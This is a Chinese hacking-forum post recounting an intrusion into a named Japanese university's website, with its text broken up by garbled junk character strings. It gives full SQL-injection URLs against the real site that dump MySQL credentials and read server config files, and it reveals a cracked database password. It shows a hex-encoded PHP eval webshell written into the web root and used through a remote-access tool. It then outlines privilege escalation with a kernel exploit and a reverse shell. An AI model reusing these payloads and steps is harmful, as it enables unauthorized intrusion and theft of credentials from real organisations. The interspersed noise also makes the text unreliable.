入侵日本同志社大学技术分析9 h1 G( z' K7 P% E
) e+ p# A* Q3 R
http://www.doshisha.ac.jp/chs/news/index.php?i=-1- m. P" G& N8 ^4 f) {3 E. ?
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:+ H7 w9 ~6 D" s. G3 D7 n. u8 `
: X0 u! g0 M! i
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
/ I. s# J2 W. V: w8 b7 h( G
$ E5 N0 ~$ U; n* v! S
: m7 z; d( B! Y: H& z! L6 \9 O$ ~- X+ b+ A
//@@datadir为数据库文件路径
8 N3 p) w4 }9 {( q
5 J: T7 K X% `6 {0 ?4 k( j% j' c9 E
//load_file读取网站容器apache的配置文件 / l2 Q7 h0 ^( p
, k% \0 F6 i0 {1 N
+ c5 |. K5 s5 z! |$ A//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 8 F# q4 D. S& e. ]. m' V
复制代码0 |7 c3 S# L* H+ T0 l; l# k4 x* E4 m
4 f' {% i& L: \: S" s& v$ t$ C虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
0 }9 G( B7 R% z. y/ q$ l# L7 d8 X4 B5 f% K+ h5 ^! M2 Y0 M
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
; W1 `- E* E( |) U! J7 r& h(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)! n8 D8 n. w7 {* \# _. F, ~6 B5 d
7 b" J' w4 N1 x6 Z5 s( @8 B
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
* C* W x- r& o$ P如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
# K- M$ M& O# C3 t: Z7 ~* p9 W( E5 ?3 _/ Q1 X& }( k! }5 e$ I
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/# N: ]( y3 C; I* C0 B Q2 \* \
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
: O9 F2 o% P4 j2 r直接写一句话:
9 I/ B4 B' n4 [! Y: g4 ^: i& P2 a9 i7 a7 A. F# G) L& v4 K+ n5 B
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
( F/ }* X0 _5 b, o# o
( r2 u+ [1 _/ k- Q 8 Y0 T( m5 x: N" T& J8 r+ r
) V$ [' T4 u2 J
//最后的#是为了闭合前面的语句 ) ?4 }- [: x# V3 Z
) g8 {9 f2 M; C: M
+ B2 s# N( P. m( X/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
. `8 I6 f, ?/ v" f. Q
9 k1 n" h7 S: \$ L
4 I2 O. m5 M7 Y! G y) R$ K7 f为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ! N' L5 y3 x' b {" \" L
# O" ` Z1 f4 ]" g
; A5 h* {5 o. x$ g( F1 i: ]4 h
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ) W+ t/ x; y' r: \2 {8 K' }
4 L+ Y- V6 `: n/ x
' T* w. o5 k. v1 f
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
( ~% E. H+ G2 d* V//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
) h; h+ F5 S$ |3 ?复制代码
' P! s) K7 ^) p# v4 B* y E2 M0 s% l) q$ n" q( ?* h* _& P7 \
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
; A- T7 ^) }- ~" t# V通过上述注入语句,我们就得到了一句话木马:. m. Y- x8 A- I+ l
3 ^$ Z2 `! \% x/ y# D+ p
, a9 }) N1 M4 I0 |9 l. X9 ]/ Q) ~1 j5 `; h$ ?) v; y) b4 p1 X
/ Z2 S- i7 O% p5 u
" O; [8 i( W0 v! C% J; q
http://www.doshisha.ac.jp/english/engnews_img/aa.php % v' }! `9 h$ t% Q k
复制代码
3 s8 X0 K$ `% A3 g( A6 w
' L+ L$ p0 l& V' i, i用菜刀连接,密码是cmd,如图所示:
* ~0 I. X' F6 G" Y+ @" E6 Z3 i @然后在命令提示行里看了一下,现在的权限是:5 C4 A9 g/ I+ h8 w* b7 ~
L# q X' V1 O之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。" U, [# m! u9 N4 W$ w' Q; y
好在赋权给这个文件夹不需要root,直接执行赋权语句:9 [5 n1 Y; H8 o+ u
7 x. p5 K# |, Y8 z * g, D* x- v4 E! R _5 \* Q2 J
7 Z% P3 `+ ~% l
9 `8 G" E) v* V* i0 j/ D2 |
4 n# n$ `8 T- r* e8 s' Dchmod +x /tmp/ : g4 z: Z* r& O7 f7 F
复制代码- o' r* {1 i2 m( H) ?* K3 }
- I% i4 R* }4 [; o
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
$ ^/ | ~4 M( {1 G然后就查了一下内核版本:6 b9 O" i% I5 C( p' _( Q' Z
: e( A9 q4 u$ V. Z+ |
6 S' P$ ]* ?; i2 Q
: A8 t" n( s. j3 m) I4 J
' k( j. ?& W- A+ }$ @ e
+ ]. `& C9 v* L& Xuname-a
9 F8 F0 ]2 }0 [5 R2 d" `6 U
\, L; y* Z# B$ Z7 A# R) S9 U# K9 R+ L, G# u% S
//其实lsb_release -a
3 Z- [2 v+ O3 u0 v) \5 L- a复制代码
& I( u7 V! F' U" _2 S% d* p+ s$ S2 A. }, A$ m: m7 D
如图所示:
& Q! s& Z: c8 }9 S1 V! c
- N1 ~0 { f" T' p8 K: r! d: T内核版本:linux mainz1 2.6.28-194.e15
, Q9 i* [( f# ?8 _$ i8 o系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)7 H/ v/ \# F- ?0 `6 X
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
) V. ]$ W' c) Y; W. W9 E# o7 r, t; y* d
然后给予执行权限1 p& W/ j( m/ \+ V4 f
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样3 E; O9 T: S* }2 ~( h/ d; g+ Z
9 g; I6 H/ b+ j
0 z/ h9 g6 t: A7 P M; f. s) B# g0 m: h; Q0 e( V
/ `: ^: u$ }0 R3 w: d
0 S& i: Z3 R) _# w7 F( echmod +x /tmp/2.6.18-194
2 r; X9 L8 R: M复制代码 然后直接执行!~
# I( J7 E; z; R2 R4 c8 v5 z: O7 [0 w
总结:; u) }; a }8 R& ~# ]3 B' K0 U' f
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
0 A$ T$ v9 r9 `" r% _6 K提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root7 T$ F5 c7 c* @% X& T8 j- E
/ {! I" F3 h6 ?. d7 l
|